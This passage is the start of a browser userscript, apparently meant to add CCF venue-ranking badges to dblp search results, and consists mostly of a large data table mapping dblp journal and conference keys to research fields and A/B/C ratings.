    "content": "// ==UserScript==\r\n// @name         ccf badge\r\n// @version      0.2\r\n// @description  Add CCF badge to dblp search result\r\n// @author       zjuchenyuan\r\n// @match        https://dblp.org/*\r\n// @match        https://dblp.uni-trier.de/*\r\n// @grant        none\r\n// ==/UserScript==\r\n\r\nvar ccfdata = {\"journals/tocs\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"journals/tos\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"journals/tcad\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"journals/tc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"journals/tpds\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"journals/taco\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"journals/taas\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"journals/todaes\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"journals/tecs\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"journals/trets\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"journals/tvlsi\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"journals/jpdc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"journals/jsa\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/parco\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"journals/pe\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"journals/jetc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"journals/concurrency\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"journals/dc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"journals/fgcs\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"journals/tcc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"journals/integration\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"journals/et\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"journals/grid\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"journals/mam\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"journals/rts\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"journals/tjs\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/ppopp\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"conf/fast\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"conf/dac\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"conf/hpca\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"conf/micro\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"conf/sc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"conf/asplos\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"conf/isca\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"conf/usenix\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"conf/cloud\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/spaa\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/podc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/fpga\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/cgo\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/date\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/eurosys\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/hotchips\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/cluster\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/iccd\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/iccad\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/icdcs\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/codes\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/hipeac\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/sigmetrics\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/IEEEpact\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/icpp\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/ics\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/vee\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/ipps\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/performance\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/hpdc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/itc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/lisa\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/mss\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/rtas\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/cf\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/systor\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/nocs\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/asap\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/aspdac\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/europar\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/ets\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/fpl\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/fccm\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/glvlsi\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/ats\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/hpcc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/hipc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/mascots\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/ispa\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/ccgrid\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/npc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/ica3pp\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/cases\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/fpt\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/icpads\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/iscas\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/islped\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/ispd\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/hoti\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/vts\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"journals/jsac\": [\"\\u7f51\\u7edc\", \"A\"], \"journals/tmc\": [\"\\u7f51\\u7edc\", \"A\"], \"journals/ton\": [\"\\u7f51\\u7edc\", \"A\"], \"journals/toit\": [\"\\u7f51\\u7edc\", \"B\"], \"journals/tomccap\": [\"\\u7f51\\u7edc/\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"journals/tosn\": [\"\\u7f51\\u7edc\", \"B\"], \"journals/cn\": [\"\\u7f51\\u7edc\", \"B\"], \"journals/tcom\": [\"\\u7f51\\u7edc\", \"B\"], \"journals/twc\": [\"\\u7f51\\u7edc\", \"B\"], \"journals/adhoc\": [\"\\u7f51\\u7edc\", \"C\"], \"journals/comcom\": [\"\\u7f51\\u7edc\", \"C\"], \"journals/tnsm\": [\"\\u7f51\\u7edc\", \"C\"], \"journals/iet-com\": [\"\\u7f51\\u7edc\", \"C\"], \"journals/jnca\": [\"\\u7f51\\u7edc\", \"C\"], \"journals/monet\": [\"\\u7f51\\u7edc\", \"C\"], \"journals/networks\": [\"\\u7f51\\u7edc\", \"C\"], \"journals/ppna\": [\"\\u7f51\\u7edc\", \"C\"], \"journals/wicomm\": [\"\\u7f51\\u7edc\", \"C\"], \"journals/winet\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/sigcomm\": [\"\\u7f51\\u7edc\", \"A\"], \"conf/mobicom\": [\"\\u7f51\\u7edc\", \"A\"], \"conf/infocom\": [\"\\u7f51\\u7edc\", \"A\"], \"conf/nsdi\": [\"\\u7f51\\u7edc\", \"A\"], \"conf/sensys\": [\"\\u7f51\\u7edc\", \"B\"], \"conf/conext\": [\"\\u7f51\\u7edc\", \"B\"], \"conf/secon\": [\"\\u7f51\\u7edc\", \"B\"], \"conf/ipsn\": [\"\\u7f51\\u7edc\", \"B\"], \"conf/mobisys\": [\"\\u7f51\\u7edc\", \"B\"], \"conf/icnp\": [\"\\u7f51\\u7edc\", \"B\"], \"conf/mobihoc\": [\"\\u7f51\\u7edc\", \"B\"], \"conf/nossdav\": [\"\\u7f51\\u7edc\", \"B\"], \"conf/iwqos\": [\"\\u7f51\\u7edc\", \"B\"], \"conf/imc\": [\"\\u7f51\\u7edc\", \"B\"], \"conf/ancs\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/apnoms\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/forte\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/lcn\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/globecom\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/icc\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/icccn\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/mass\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/p2p\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/ipccc\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/wowmom\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/iscc\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/wcnc\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/networking\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/im\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/msn\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/mswim\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/wasa\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/hotnets\": [\"\\u7f51\\u7edc\", \"C\"], \"journals/tdsc\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"A\"], \"journals/tifs\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"A\"], \"journals/joc\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"A\"], \"journals/tissec\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"journals/compsec\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"journals/dcc\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"journals/jcs\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"journals/clsr\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"journals/ejisec\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"journals/iet-ifs\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"journals/imcs\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"journals/ijics\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"journals/ijisp\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"journals/istr\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"journals/scn\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/ccs\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"A\"], \"conf/eurocrypt\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"A\"], \"conf/sp\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"A\"], \"conf/crypto\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"A\"], \"conf/uss\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"A\"], \"conf/acsac\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/asiacrypt\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/esorics\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/fse\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/csfw\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/srds\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/ches\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/dsn\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/raid\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/pkc\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/ndss\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/tcc\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/wisec\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/sacmat\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/drm\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/ih\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/acns\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/asiaccs\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/acisp\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/ctrsa\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/dimva\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/dfrws\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/fc\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/trustcom\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/sec\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/ifip11-9\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/isw\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/icdf2c\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/icics\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/securecomm\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/nspw\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/pam\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/pet\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/sacrypt\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/soups\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"*http://www.usenix.org/events/\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"journals/toplas\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"journals/tosem\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"journals/tse\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"journals/ase\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/ese\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/tsc\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/iet-sen\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/infsof\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/jfp\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/smr\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/jss\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/re\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/scp\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/sosym\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/stvr\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/spe\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/cl\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"journals/ijseke\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"journals/sttt\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"journals/jlp\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"journals/jwe\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"journals/soca\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"journals/sqj\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"journals/tplp\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/pldi\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"conf/popl\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"conf/sigsoft\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"conf/sosp\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"conf/oopsla\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"conf/kbse\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"conf/icse\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"conf/issta\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"conf/osdi\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"conf/ecoop\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/etaps\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/iwpc\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/re\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/caise\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/icfp\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/lctrts\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/models\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/cp\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/icsoc\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/wcre\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/icsm\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/vmcai\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/icws\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/middleware\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/sas\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/esem\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/fm\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/issre\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/hotos\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/pepm\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/paste\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/aplas\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/apsec\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/ease\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/iceccs\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/icst\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/ispass\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/scam\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/compsac\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/icfem\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/tools\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/IEEEscc\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/ispw\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/seke\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/qrs\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/icsr\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/icwe\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/spin\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/atva\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/lopstr\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/tase\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/msr\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/refsq\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/wicsa\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"journals/tods\": [\"\\u6570\\u636e\\u5e93\", \"A\"], \"journals/tois\": [\"\\u6570\\u636e\\u5e93\", \"A\"], \"journals/tkde\": [\"\\u6570\\u636e\\u5e93\", \"A\"], \"journals/vldb\": [\"\\u6570\\u636e\\u5e93\", \"A\"], \"journals/tkdd\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/tweb\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/aei\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/dke\": [\"\\u6570\\u636e\\u5e93/\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/datamine\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/ejis\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/geoinformatica\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/ipm\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/isci\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/is\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/jasis\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/ws\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/kais\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/dpd\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"journals/iam\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"journals/ipl\": [\"\\u6570\\u636e\\u5e93/\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/ir\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"journals/ijcis\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"journals/gis\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"journals/ijis\": [\"\\u6570\\u636e\\u5e93/\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/ijkm\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"journals/ijswis\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"journals/jcis\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"journals/jdm\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"http://www.tandfonline.com/loi/ugit20#.Vnv35pN97rI\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"journals/jiis\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"journals/jsis\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/sigmod\": [\"\\u6570\\u636e\\u5e93\", \"A\"], \"conf/kdd\": [\"\\u6570\\u636e\\u5e93\", \"A\"], \"conf/icde\": [\"\\u6570\\u636e\\u5e93\", \"A\"], \"conf/sigir\": [\"\\u6570\\u636e\\u5e93\", \"A\"], \"conf/vldb\": [\"\\u6570\\u636e\\u5e93\", \"A\"], \"conf/cikm\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"conf/wsdm\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"conf/pods\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"conf/dasfaa\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"conf/ecml\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"conf/semweb\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"conf/icdm\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"conf/icdt\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"conf/edbt\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"conf/cidr\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"conf/sdm\": 